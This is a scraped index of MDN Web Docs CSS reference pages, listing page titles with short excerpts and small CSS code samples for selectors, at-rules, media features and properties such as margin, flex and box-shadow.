the text that provides the interactive control's accessible name can be hidden using a combination of properties that remove it visually from the screen but keep it parseable by assistive technology.
:invalid - CSS: Cascading Style Sheets
WebCSS:invalid
however, it does apply a style (a red "glow" using the box-shadow property) to the :-moz-ui-invalid pseudo-class, which applies in a subset of cases for :invalid.
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
WebCSS:is
*/ using :is(), though, it's much easier: /* level 0 */ h1 { font-size: 30px; } /* level 1 */ :is(section, article, aside, nav) h1 { font-size: 25px; } /* level 2 */ :is(section, article, aside, nav) :is(section, article, aside, nav) h1 { font-size: 20px; } /* level 3 */ :is(section, article, aside, nav) :is(section, article, aside, nav) :is(section, article, aside, nav) h1 { font-size: 15px; } ...
:lang() - CSS: Cascading Style Sheets
WebCSS:lang
examples in this example, the :lang() pseudo-class is used to match the parents of quote elements (<q>) using child combinators.
:required - CSS: Cascading Style Sheets
WebCSS:required
if the form also contains optional inputs, required inputs should be indicated visually using a treatment that does not rely solely on color to convey meaning.
:scope - CSS: Cascading Style Sheets
WebCSS:scope
syntax :scope examples identity match in this simple example, we demonstrate that using the :scope pseudo-class from the element.matches() method matches the element on which it's called.
:valid - CSS: Cascading Style Sheets
WebCSS:valid
note: we've used ::before to add these labels, as we were already using ::after for the "required" labels.
:where() - CSS: Cascading Style Sheets
WebCSS:where
simpler, but still distinct, we could use :is() or :where(), in the following manner: html { font-family: sans-serif; font-size: 150%; } :is(section.is-styling, aside.is-styling, footer.is-styling) a { color: red; } :where(section.where-styling, aside.where-styling, footer.where-styling) a { color: orange; } however, what if we later want to override the color of links in the footers using a simple selector?
@charset - CSS: Cascading Style Sheets
WebCSS@charset
@charset "utf-8"; this at-rule is useful when using non-ascii characters in some css properties, like content.
font-variation-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-variation-settings: normal; /* set values for opentype axis names */ font-variation-settings: "xhgt" 0.7; values normal text is laid out using default settings.
-webkit-transition - CSS: Cascading Style Sheets
instead, test for transition support using the css @supports at-rule, like this: @supports (transition: initial) { /* css to use if transitions are supported */ } obsolete example before this became obsolete, you could use -webkit-transition in your css like this: @media (-webkit-transition) { /* css to use if transitions are supported */ } specifications not part of any standard.
aural - CSS: Cascading Style Sheets
WebCSS@mediaaural
syntax the aural css media type—which has been deprecated in favor of the speech media type—was used to specify a block of css that applied only when the content is being presented using a speech synthesis device.
color - CSS: Cascading Style Sheets
WebCSS@mediacolor
see applying color to html elements using css to learn more about using css to apply color to html.
inverted-colors - CSS: Cascading Style Sheets
examples html <p>if you're using inverted colors, this text should be blue on white (the inverse of yellow on black).
light-level - CSS: Cascading Style Sheets
washed the device is used in an exceptionally bright environment, causing the screen to be washed out and difficult to read.
orientation - CSS: Cascading Style Sheets
opening the soft keyboard on many devices in portrait orientation will cause the viewport to become wider than it is tall, thereby causing the browser to use landscape styles instead of portrait.
update - CSS: Cascading Style Sheets
examples html <p>if this text animates for you, you are using a fast-updating device.</p> css @keyframes jiggle { from { transform: translatey(0); } to { transform: translatey(25px); } } @media (update: fast) { p { animation: 1s jiggle linear alternate infinite; } } result specifications specification status comment media queries level 4the definition of 'update' in that specification.
bleed - CSS: Cascading Style Sheets
WebCSS@pagebleed
this property only has effect if crop marks are enabled using the marks property.
@supports - CSS: Cascading Style Sheets
WebCSS@supports
the following are both equivalent: @supports (transform-style: preserve) or (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-webkit-transform-style: preserve) {} @supports (transform-style: preserve-3d) or ((-moz-transform-style: preserve-3d) or ((-o-transform-style: preserve-3d) or (-webkit-transform-style: preserve-3d))) {} note: when using both and and or operators, the parentheses must be used to define the order in which they apply.
viewport-fit - CSS: Cascading Style Sheets
accessibility concerns when using the viewport-fit descriptor, one must keep in mind that not all device displays are rectangular, and should therefore make use of the safe area inset variables.
At-rules - CSS: Cascading Style Sheets
WebCSSAt-rule
nested at-rules — a subset of nested statements, which can be used as a statement of a style sheet as well as inside of conditional group rules: @media — a conditional group rule that will apply its content if the device meets the criteria of the condition defined using a media query.
CSS Animations tips and tricks - CSS: Cascading Style Sheets
<div class="box"> </div> <div class="runbutton">click me to run the animation</div> css content now we'll define the animation itself using css.
CSS Basic User Interface - CSS: Cascading Style Sheets
reference properties appearance box-sizing cursor ime-mode nav-down nav-left nav-right nav-up outline outline-width outline-style outline-color outline-offset resize text-overflow user-select guides using url values for the cursor property explains how a url can be used with the cursor property to produce custom cursors.
Box alignment in Flexbox - CSS: Cascading Style Sheets
basic example in this example, three flex items are aligned on the main axis using justify-content and on the cross axis using align-items.
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
using a value of justify-content other than normal or stretch will cause column boxes to display at the column-width specified on the multicol container, and the remaining space distributed according to the value of justify-content.
CSS Color - CSS: Cascading Style Sheets
WebCSSCSS Color
reference properties color color-adjust opacity data types <color> guides applying color to html elements using css a guide to using css to apply color to a variety of types of content.
Handling Overflow in Multicol - CSS: Cascading Style Sheets
using vertical media queries one issue with multicol on the web is that, if your columns are taller than the viewport, the reader will need to scroll up and down to read, which is not good user experience.
CSS Counter Styles - CSS: Cascading Style Sheets
reference properties counter-increment counter-reset at-rules @counter-style system additive-symbols negative prefix suffix range pad speak-as fallback guides using css counters describes how to use counters to number any html element or to perform complex counting.
CSS Display - CSS: Cascading Style Sheets
ntainer controlling ratios of flex items along the main axis cross-browser flexbox mixins mastering wrapping of flex items ordering flex items relationship of flexbox to other layout methods backwards compatibility of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing common layouts using grids specifications specification status comment css display module level 3the definition of 'display' in that specification.
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
the following example shows blocks using horizontal-tb.
CSS Images - CSS: Cascading Style Sheets
reference properties image-orientation image-rendering image-resolution object-fit object-position functions linear-gradient() radial-gradient() repeating-linear-gradient() repeating-radial-gradient() conic-gradient() repeating-conic-gradient() url() element() image() cross-fade() data types <gradient> <image> guides using css gradients presents a specific type of css images, gradients, and how to create and use these.
CSS Lists - CSS: Cascading Style Sheets
using css counters explains how to use the css counter properties to control list counters.
CSS Motion Path - CSS: Cascading Style Sheets
you then animate it along that path by animating offset-distance, and can choose to rotate it at any point using offset-rotate.
The stacking context - CSS: Cascading Style Sheets
the stacking context in the previous part of this article, using z-index, the rendering order of certain elements is influenced by their z-index value.
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
if you want to test using feature queries for support of the new spec then we'd suggest testing for scroll-snap-align as this property did not exist in the old implementation.
CSS Shapes - CSS: Cascading Style Sheets
the specification defines a number of different ways to define a shape on a floated element, causing wrapping lines to wrap round the shape rather than following the rectangle of the element's box.
CSS Transforms - CSS: Cascading Style Sheets
reference properties backface-visibility perspective perspective-origin rotate scale transform transform-box transform-origin transform-style translate data types <transform-function> guides using css transforms step-by-step tutorial about how to transform elements styled with css.
CSS Transitions - CSS: Cascading Style Sheets
reference properties transition transition-delay transition-duration transition-property transition-timing-function guides using css transitions step-by-step tutorial about how to create transitions using css.
CSS values and units - CSS: Cascading Style Sheets
for example, the value of grid-area can be a <custom-ident>, so if we had a grid area named content we would use it without quotes: .item { grid-area: content; } in comparison, a data type that is a <string>, such as a string value of the content property, must be quoted: .item::after { content: "this is my content."; } while you can generally create any name you want, including using emojis, the identifier can't be none, unset, initial, or inherit, start with a digit or two dashes, and generally you don't want it to be any other pre-defined css keyword.
Animatable CSS properties - CSS: Cascading Style Sheets
certain css properties can be animated using css animations or css transitions.
Comments - CSS: Cascading Style Sheets
WebCSSComments
however, when using the <style> element, you may use <!-- --> to hide css from older browsers, although this is not recommended.
Questions about CSS - CSS: Cascading Style Sheets
WebCSSFAQ
an imported style sheet, using the css @import notation to automatically import and merge an external style sheet with the current style sheet style attributes specified by the viewer to the browser the default style sheet assumed by the browser in general, the web page creator's style sheet takes precedence, but it's recommended that browsers provide ways for the viewer to override the style attributes in some respects.
Card - CSS: Cascading Style Sheets
recipe download this example choices made the card is laid out using css grid layout despite being a single dimensional layout, as it enables the use of content sizing for the grid tracks.
Center an element - CSS: Cascading Style Sheets
however, support is currently limited for box alignment properties on block layout, so currently centering using flexbox is the most robust way to achieve this.
Microsoft CSS extensions - CSS: Cascading Style Sheets
microsoft-only properties (avoid using on websites) note: these properties will only work in microsoft applications, and are not on a standards track.
Mozilla CSS extensions - CSS: Cascading Style Sheets
mozilla-only properties and pseudo-classes (avoid using on websites) note: these properties and pseudo-classes will only work in mozilla applications such as firefox, and are not on a standards track.
Syntax - CSS: Cascading Style Sheets
WebCSSSyntax
this leads to an important consequence: if one single basic selector is invalid, like when using an unknown pseudo-element or pseudo-class, the whole selector is invalid and therefore the entire rule is ignored (as invalid too).
Tools - CSS: Cascading Style Sheets
WebCSSTools
this page offers links to a number of useful tools that will help you build the css to style your content using these features.
Value definition syntax - CSS: Cascading Style Sheets
in this case, the definition is usually physically very close to the definition of the property using them.
Visual formatting model - CSS: Cascading Style Sheets
in my examples, i am using a direct child selector to target the children of the container.
WebKit CSS extensions - CSS: Cascading Style Sheets
webkit-only properties note: avoid using on websites.
Actual value - CSS: Cascading Style Sheets
calculating a property's actual value the user agent performs four steps to calculate a property's actual (final) value: first, the specified value is determined based on the result of cascading, inheritance, or using the initial value.
align-content - CSS: Cascading Style Sheets
if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
animation-duration - CSS: Cascading Style Sheets
note: negative values are invalid, causing the declaration to be ignored.
animation-fill-mode - CSS: Cascading Style Sheets
the element will instead be displayed using any other css rules applied to it.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
the appearance css property is used to display an element using platform-native styling, based on the operating system's theme.
background-position-x - CSS: Cascading Style Sheets
nosamsung internet android no support nolegend full support full support no support no support see also background-position background-position-y background-position-inline background-position-block using multiple backgrounds ...
background-position-y - CSS: Cascading Style Sheets
nosamsung internet android no support nolegend full support full support no support no support see also background-position background-position-x background-position-inline background-position-block using multiple backgrounds ...
background - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80% url("../img/image.png"); the background property is specified as one or more background layers, separated by commas.
border-bottom-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
border-image-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-repeat: stretch; border-image-repeat: repeat; border-image-repeat: round; border-image-repeat: space; /* vertical | horizontal */ border-image-repeat: round stretch; /* global values */ border-image-repeat: inherit; border-image-repeat: initial; border-image-repeat: unset; the border-image-repeat property may be specified using one or two values chosen from the list of values below.
border-image-slice - CSS: Cascading Style Sheets
syntax /* all sides */ border-image-slice: 30%; /* vertical | horizontal */ border-image-slice: 10% 30%; /* top | horizontal | bottom */ border-image-slice: 30 30% 45; /* top | right | bottom | left */ border-image-slice: 7 12 14 5; /* using the `fill` keyword */ border-image-slice: 10% fill 7 12; /* global values */ border-image-slice: inherit; border-image-slice: initial; border-image-slice: unset; the border-image-slice property may be specified using one to four <number-percentage> values to represent the position of each image slice.
border-left-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
border-right-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
border-style - CSS: Cascading Style Sheets
; border-style: ridge; border-style: inset; border-style: outset; /* vertical | horizontal */ border-style: dotted solid; /* top | horizontal | bottom */ border-style: hidden double dashed; /* top | right | bottom | left */ border-style: none solid dotted dashed; /* global values */ border-style: inherit; border-style: initial; border-style: unset; the border-style property may be specified using one, two, three, or four values.
border-top-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
box-align - CSS: Cascading Style Sheets
WebCSSbox-align
if the alignment is set using the element's align attribute, then the style is ignored.
box-decoration-break - CSS: Cascading Style Sheets
here's an example of an inline element using a large border-radius value.
box-direction - CSS: Cascading Style Sheets
if the direction is set using the element's dir attribute, then the style is ignored.
box-flex - CSS: Cascading Style Sheets
WebCSSbox-flex
if the flex value is set using the element's flex attribute, then the style is ignored.
box-lines - CSS: Cascading Style Sheets
WebCSSbox-lines
this behavior can be changed using the box-lines property.
box-pack - CSS: Cascading Style Sheets
WebCSSbox-pack
if the packing is set using the element's pack attribute, then the style is ignored.
box-shadow - CSS: Cascading Style Sheets
k; /* offset-x | offset-y | blur-radius | spread-radius | color */ box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2); /* inset | offset-x | offset-y | color */ box-shadow: inset 5em 1em gold; /* any number of shadows, separated by commas */ box-shadow: 3px 3px red, -1em 0 0.4em olive; /* global keywords */ box-shadow: inherit; box-shadow: initial; box-shadow: unset; specify a single box-shadow using: two, three, or four <length> values.
box-sizing - CSS: Cascading Style Sheets
on the other hand, when using position: relative or position: absolute, use of box-sizing: content-box allows the positioning values to be relative to the content, and independent of changes to border and padding sizes, which is sometimes desirable.
calc() - CSS: Cascading Style Sheets
WebCSScalc
the expression can be any simple expression combining the following operators, using standard operator precedence rules: + addition.
color - CSS: Cascading Style Sheets
WebCSScolor
for an overview of using color in html, see applying color to html elements using css.
column-count - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> | auto examples splitting a paragraph across three columns html <p class="content-box"> this is a bunch of text split into three columns using the css `column-count` property.
column-rule - CSS: Cascading Style Sheets
note: as with all shorthand properties, any individual value that is not specified is set to its corresponding initial value (possibly overriding values previously set using non-shorthand properties).
columns - CSS: Cascading Style Sheets
WebCSScolumns
lueas each of the properties of the shorthand:column-width: the absolute length, zero or largercolumn-count: as specifiedanimation typeas each of the properties of the shorthand:column-width: a lengthcolumn-count: an integer formal syntax <'column-width'> | <'column-count'> examples setting three equal columns html <p class="content-box"> this is a bunch of text split into three columns using the css `columns` property.
counter-increment - CSS: Cascading Style Sheets
note: the counter's value can be reset to an arbitrary number using the counter-reset css property.
counter-reset - CSS: Cascading Style Sheets
note: the counter's value can be increased or decreased using the counter-increment css property.
counter-set - CSS: Cascading Style Sheets
note: the counter's value can be incremented or decremented using the counter-increment css property.
counter() - CSS: Cascading Style Sheets
WebCSScounter
check the browser compatibility table carefully before using this in production.
cross-fade() - CSS: Cascading Style Sheets
when using background images, make sure the contrast in color is great enough that any text is legible over the image as well as if the images is missing.
<display-inside> - CSS: Cascading Style Sheets
syntax valid <display-inside> values: flow the element lays out its contents using flow layout (block-and-inline layout).
<display-internal> - CSS: Cascading Style Sheets
examples css tables example the following example demonstrates laying out a simple form using css table layout.
<display-legacy> - CSS: Cascading Style Sheets
html <div class="container"> <div>flex item</div> <div>flex item</div> </div> not a flex item css .container { display: inline-flex; } result in the new syntax the inline flex container would be created using two values, inline for the outer display type, and flex for the inner display type.
brightness() - CSS: Cascading Style Sheets
examples setting brightness using numbers and percentages brightness(0%) /* completely black */ brightness(0.4) /* 40% brightness */ brightness(1) /* no effect */ brightness(200%) /* double brightness */ specifications specification status filter effects module level 1the definition of 'brightness()' in that specification.
contrast() - CSS: Cascading Style Sheets
examples setting contrast using numbers and percentages contrast(0) /* completely gray */ contrast(65%) /* 65% contrast */ contrast(1) /* no effect */ contrast(200%) /* double contrast */ specifications specification status filter effects module level 1the definition of 'contrast()' in that specification.
drop-shadow() - CSS: Cascading Style Sheets
examples setting a drop shadow using pixel offsets and blur radius /* black shadow with 10px blur */ drop-shadow(16px 16px 10px black) setting a drop shadow using rem offsets and blur radius /* reddish shadow with 1rem blur */ drop-shadow(.5rem .5rem 1rem #e23) specifications specification status filter effects module level 1the definition of 'drop-shadow()' in that specification.
<filter-function> - CSS: Cascading Style Sheets
syntax the <filter-function> data type is specified using one of the filter functions listed below.
flex-basis - CSS: Cascading Style Sheets
the equivalent effect can be had by using auto together with a main size (width or height) of auto.
flex-direction - CSS: Cascading Style Sheets
accessibility concerns using the flex-direction property with values of row-reverse or column-reverse will create a disconnect between the visual presentation of content and dom order.
flex-grow - CSS: Cascading Style Sheets
WebCSSflex-grow
flex-grow is used alongside the other flex properties flex-shrink and flex-basis, and normally defined using the flex shorthand to ensure all values are set.
flex-shrink - CSS: Cascading Style Sheets
in use, flex-shrink is used alongside the other flex properties flex-grow and flex-basis, and normally defined using the flex shorthand.
flex-wrap - CSS: Cascading Style Sheets
WebCSSflex-wrap
see using css flexible boxes for more properties and information.
flex - CSS: Cascading Style Sheets
WebCSSflex
number: flex-grow */ flex: 2; /* one value, width/height: flex-basis */ flex: 10em; flex: 30%; flex: min-content; /* two values: flex-grow | flex-basis */ flex: 1 30px; /* two values: flex-grow | flex-shrink */ flex: 2 2; /* three values: flex-grow | flex-shrink | flex-basis */ flex: 2 2 10%; /* global values */ flex: inherit; flex: initial; flex: unset; the flex property may be specified using one, two, or three values.
<flex> - CSS: Cascading Style Sheets
examples 1fr /* using an integer value */ 2.5fr /* using a float value */ specifications specification status comment css grid layoutthe definition of '<flex>' in that specification.
float - CSS: Cascading Style Sheets
WebCSSfloat
table-header-group block table-footer-group block inline-flex flex inline-grid grid other unchanged note: if you're referring to this property from javascript as a member of the htmlelement.style object, modern browsers support float, but in older browsers you have to spell it as cssfloat, with internet explorer versions 8 and older using stylefloat.
font-family - CSS: Cascading Style Sheets
the browser will select the first font in the list that is installed or that can be downloaded using a @font-face at-rule.
font-feature-settings - CSS: Cascading Style Sheets
values normal text is laid out using default settings.
font-size - CSS: Cascading Style Sheets
WebCSSfont-size
avoid using them for font sizes if you wish to create an inclusive design.
font-stretch - CSS: Cascading Style Sheets
if the font you are using does not offer condensed or expanded faces, this property has no effect.
font-variant - CSS: Cascading Style Sheets
you can also set the css level 2 (revision 1) values of font-variant, (that is, normal or small-caps), by using the font shorthand.
font - CSS: Cascading Style Sheets
WebCSSfont
as with any shorthand property, any individual value that is not specified is set to its corresponding initial value (possibly overriding values previously set using non-shorthand properties).
<frequency> - CSS: Cascading Style Sheets
WebCSSfrequency
however, the <frequency> data type has been reintroduced in css3, though no css property is using it at the moment.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
(be aware that older browsers may not use this behavior when using the transparent keyword.) examples linear gradient example a simple linear gradient.
grid-area - CSS: Cascading Style Sheets
WebCSSgrid-area
the grid-area property can also be set to a <custom-ident> which acts as a name for the area, which can then be placed using grid-template-areas.
height - CSS: Cascading Style Sheets
WebCSSheight
a percentage height on the root element is relative to the initial containing block.computed valuea percentage or auto or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting height using pixels and percentages html <div id="taller">i'm 50 pixels tall.</div> <div id="shorter">i'm 25 pixels tall.</div> <div id="parent"> <div id="child"> i'm half the height of my parent.
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
you must specify a language using the lang html attribute to guarantee that automatic hyphenation is applied in that language.
image-rendering - CSS: Cascading Style Sheets
for example, if the natural size of an image is 100×100px, but its actual dimensions are 200×200px (or 50×50px), then the image will be upscaled (or downscaled) using the algorithm specified by image-rendering.
ime-mode - CSS: Cascading Style Sheets
WebCSSime-mode
syntax the ime-mode property is specified using one of the keyword values listed below.
inherit - CSS: Cascading Style Sheets
WebCSSinherit
for non-inherited properties, this specifies a behavior that typically makes relatively little sense and you may consider using initial instead, or unset on the all property.
Inheritance - CSS: Cascading Style Sheets
you can control inheritance for all properties at once using the all shorthand property, which applies its value to all properties.
Initial value - CSS: Cascading Style Sheets
you can explicitly specify the initial value by using the initial keyword.
list-style-type - CSS: Cascading Style Sheets
defines using @counter-style the usual style types: hebrew, cjk-ideographic, hiragana, hiragana-iroha, katakana, katakana-iroha, japanese-formal, japanese-informal, simp-chinese-formal, trad-chinese-formal, simp-chinese-formal, trad-chinese-formal,korean-hangul-formal, korean-hanja-informal, korean-hanja-formal, cjk-decimal, ethiopic-numeric, disclosure-open and disclosure-closed.
margin-left - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting left margin using pixels and percentages .content { margin-left: 5%; } .sidebox { margin-left: 10px; } .logo { margin-left: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-left' in that specification.
margin-right - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting right margin using pixels and percentages .content { margin-right: 5%; } .sidebox { margin-right: 10px; } .logo { margin-right: -5px; } specifications specification status comment css basic box modelthe definition of 'margin-right' in that specification.
margin - CSS: Cascading Style Sheets
WebCSSmargin
syntax /* apply to all four sides */ margin: 1em; margin: -3px; /* vertical | horizontal */ margin: 5% auto; /* top | horizontal | bottom */ margin: 1em auto 2em; /* top | right | bottom | left */ margin: 2px 1em 0 auto; /* global values */ margin: inherit; margin: initial; margin: unset; the margin property may be specified using one, two, three, or four values.
mask-border-outset - CSS: Cascading Style Sheets
mask-border-outset: 1rem; chromium-based browsers support an outdated version of this property — mask-box-image-outset — with a prefix: -webkit-mask-box-image-outset: 1rem; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border-source - CSS: Cascading Style Sheets
mask-border-source: url(image.jpg); chromium-based browsers support an outdated version of this property — mask-box-image-source — with a prefix: -webkit-mask-box-image-source: url(image.jpg); note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
formal definition initial valuematch-sourceapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option val...
mask - CSS: Cascading Style Sheets
WebCSSmask
mask with a width and height of 50px */ mask: url(masks.svg#star) repeat-x; /* element within svg graphic used as horizontally repeated mask */ mask: url(masks.svg#star) stroke-box; /* element within svg graphic used as mask extending to the box enclosed by the stroke */ mask: url(masks.svg#star) exclude; /* element within svg graphic used as mask and combined with background using non-overlapping parts */ /* global values */ mask: inherit; mask: initial; mask: unset; /* multiple masks */ mask: url(masks.svg#star) left / 16px repeat-y, /* element within svg graphic is used as a mask on the left-hand side with a width of 16px */ url(masks.svg#circle) right / 16px repeat-y; /* element within svg graphic is used as a mask on the right-hand side with a width of 16px ...
max-height - CSS: Cascading Style Sheets
t), and this element is not absolutely positioned, the percentage value is treated as none.computed valuethe percentage as specified or the absolute length or noneanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting max-height using percentage and keyword values table { max-height: 75%; } form { max-height: none; } specifications specification status comment css box sizing module level 4the definition of 'max-height' in that specification.
object-fit - CSS: Cascading Style Sheets
you can alter the alignment of the replaced element's content object within the element's box using the object-position property.
object-position - CSS: Cascading Style Sheets
you can adjust how the replaced element's object's intrinsic size (that is, its natural size) is adjusted to fit within the element's box using the object-fit property.
offset-anchor - CSS: Cascading Style Sheets
it can be defined using one to four values.
offset-distance - CSS: Cascading Style Sheets
formal definition initial value0applies totransformable elementsinheritednopercentagesrefer to the total path lengthcomputed valuefor <length> the absolute value, otherwise a percentageanimation typea length, percentage or calc(); formal syntax <length-percentage>where <length-percentage> = <length> | <percentage> examples using offset-distance in an animation the motion aspect in css motion path typically comes from animating the offset-distance property.
offset-path - CSS: Cascading Style Sheets
url() references the id of an svg shape -- circle, ellipse, line, path, polygon, polyline, or rect -- using the shape's geometry as the path.
offset-position - CSS: Cascading Style Sheets
it can be defined using one to four values.
opacity - CSS: Cascading Style Sheets
WebCSSopacity
using opacity with a value other than 1 places the element in a new stacking context.
order - CSS: Cascading Style Sheets
WebCSSorder
accessibility concerns using the order property will create a disconnect between the visual presentation of content and dom order.
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
no scrollbars are provided, and no support for allowing the user to scroll (such as by dragging or using a scroll wheel) is allowed.
overscroll-behavior - CSS: Cascading Style Sheets
this can be stopped using overscroll-behavior-y (overscroll-behavior would also work) on the chat window, like this: .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } we also wanted to get rid of the standard overscroll effects when the contacts are scrolled to the top or bottom (e.g.
padding-left - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting left padding using pixels and percentages .content { padding-left: 5%; } .sidebox { padding-left: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-left' in that specification.
padding-right - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting right padding using pixels and percentages .content { padding-right: 5%; } .sidebox { padding-right: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-right' in that specification.
padding-top - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting top padding using pixels and percentages .content { padding-top: 5%; } .sidebox { padding-top: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-top' in that specification.
padding - CSS: Cascading Style Sheets
WebCSSpadding
properties: padding-bottom padding-left padding-right padding-top syntax /* apply to all four sides */ padding: 1em; /* vertical | horizontal */ padding: 5% 10%; /* top | horizontal | bottom */ padding: 1em 2em 2em; /* top | right | bottom | left */ padding: 5px 1em 0 2em; /* global values */ padding: inherit; padding: initial; padding: unset; the padding property may be specified using one, two, three, or four values.
page-break-after - CSS: Cascading Style Sheets
this ensures that sites using page-break-after continue to work as designed.
page-break-before - CSS: Cascading Style Sheets
this ensures that sites using page-break-before continue to work as designed.
page-break-inside - CSS: Cascading Style Sheets
this ensures that sites using page-break-inside continue to work as designed.
paint() - CSS: Cascading Style Sheets
WebCSSpaint
47safari ios no support nosamsung internet android full support 9.2legend full support full support no support no support see also paintworklet css painting api using the css painting api <image> canvas ...
position - CSS: Cascading Style Sheets
WebCSSposition
depending on the content needing to be repainted, the browser performance, and the device's processing speed, the browser may not be able to manage repaints at 60 fps, causing accessibility concerns for people with sensitivities and jank for everyone.
quotes - CSS: Cascading Style Sheets
WebCSSquotes
the quotes css property sets how the browser should render quotation marks that are added using the open-quotes or close-quotes values of the css content property.
radial-gradient() - CSS: Cascading Style Sheets
; height: 120px; } .radial-gradient { background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%); } non-centered gradient <div class="radial-gradient"></div> .radial-gradient { width: 240px; height: 120px; } .radial-gradient { background-image: radial-gradient(farthest-corner at 40px 40px, #f35 0%, #43e 100%); } more radial-gradient examples please see using css gradients for more examples.
repeat() - CSS: Cascading Style Sheets
WebCSSrepeat
examples specifying grid columns using repeat() html <div id="container"> <div> this item is 50 pixels wide.
repeating-linear-gradient() - CSS: Cascading Style Sheets
note: please see using css gradients for more examples.
repeating-radial-gradient() - CSS: Cascading Style Sheets
note: please see using css gradients for more examples.
resize - CSS: Cascading Style Sheets
WebCSSresize
html <textarea>type some text here.</textarea> css textarea { resize: none; /* disables resizability */ } result using resize with arbitrary elements you can use the resize property to make any element resizable.
revert - CSS: Cascading Style Sheets
WebCSSrevert
it is still possible to override revert value using specificity.
right - CSS: Cascading Style Sheets
WebCSSright
efinition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the width of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and relative positioning using right html <div id="relative">relatively positioned</div> <div id="absolute">absolutely positioned</div> css #relative { width: 100px; height: 100px; background-color: #ffc7e4; position: relative; top: 20px; left: 20px; } #absolute { width: 100px; height: 100px; background-color: #ffd7c2; position: absolute; bottom: 10px; right: 20px; } result declaring both l...
scroll-behavior - CSS: Cascading Style Sheets
smooth the scrolling box scrolls in a smooth fashion using a user-agent-defined timing function over a user-agent-defined period of time.
shape-margin - CSS: Cascading Style Sheets
the shape-margin css property sets a margin for a css shape created using shape-outside.
shape-outside - CSS: Cascading Style Sheets
